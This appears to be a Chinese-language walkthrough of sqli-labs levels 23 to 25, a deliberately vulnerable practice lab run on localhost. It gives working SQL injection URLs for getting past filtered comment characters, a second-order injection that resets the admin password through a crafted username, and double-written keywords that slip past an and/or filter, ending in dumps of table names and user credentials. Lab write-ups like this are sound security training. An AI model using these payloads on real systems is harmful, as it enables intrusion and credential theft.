前言
之前的每一关,我们都是在末尾加上注释符,屏蔽后面的语句,这样我们只要闭合了区间之后,差不多就是为所欲为的状态。但如果注释符不生效的情况下,又该如何呢?
Less23(注释符被过滤)
第25关,这关分析源码,它是过滤了请求的注释符“--”和“#”,所以这里不能用注释符注释后面的语句。但对本关注入来说,不成问题。
本关是测试可知是单引号闭合:
http://localhost/sqli-labs/less-23/?id=1' or'
接着就按照Less1的套路来就可以了。测试列数:
http://localhost/sqli-labs/less-23/?id=1' union select 1'
列数不是1,经测试到3时没报错:
http://localhost/sqli-labs/less-23/?id=1' union select 1,2,3'
接下来测试是否前端可以回显:
http://localhost/sqli-labs/less-23/?id=-1' union select 1,2,3'
测试联合注入可以回显。那么就开始爆数据库名:
http://localhost/sqli-labs/less-23/?id=-1' union select 1,database(),3'
然后爆表:
http://localhost/sqli-labs/less-23/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' '
爆字段:
http://localhost/sqli-labs/less-23/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' '
爆用户名密码:
http://localhost/sqli-labs/less-23/?id=-1' union select 1,group_concat(username),group_concat(password) from security.users where 1='1
Less24(二次注入)
二次注入的概念,是某个地方过滤了特殊字符等,但是攻击者可以在另一个地方把带特殊字符的信息写入数据库,当某个地方需要校验时,程序从数据库读取带特殊字符的信息,可以形成sql注入。最典型的例子,就是网站注册用户时,通过输入带特殊字符的用户名或密码,到了登陆时程序匹配时被特殊字符注入。
分析源码,注入点在pass_change.php中:
如果我们在变量$username的位置闭合,那不需要检测该账号当前的密码。
进入创建新用户。创建用户是常见二次注入点。接下来创建用户名“admin'#”,密码:1。然后重新登陆:
接着随便输入当前密码,然后输入新密码为"abc"。接着logout后重新登陆时,输入admin/abc。发现admin密码已经被改为abc了。这就是二次注入。
Less25(绕过and、or)
25关在于绕过关键字and和or。页面下方的Hint会提示过滤后的情况:
http://localhost/sqli-labs/less-25/?id=1' or 1=1 %23
显然or被过滤掉了。那如何避免被过滤呢? 可以采用双写,比如说and写成aandnd,or写成oorr,这样字符串过滤时,过滤掉中间的关键字后,刚好恢复成and和or。尝试输入:
http://localhost/sqli-labs/less-25/?id=1' oorr 1=1 %23
不过本关比较搞笑的是,我们主要是利用联合注入,所以根本不需要绕过and和or,基本上按照第一关的思路就够了:
#联合注入回显2,、3列
http://localhost/sqli-labs/less-25/?id=-1' union select 1,2,3 %23#查数据库名
http://localhost/sqli-labs/less-25/?id=-1' union select 1,database(),3 %23#爆表名,information的or会被过滤,需要双写
http://localhost/sqli-labs/less-25/?id=-1' union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema=database()%23#爆列名
http://localhost/sqli-labs/less-25/?id=-1' union select 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_name='users' %23#爆用户名密码,password的or需要双写
http://localhost/sqli-labs/less-25/?id=-1' union select 1,group_concat(username),group_concat(passwoorrd) from users %23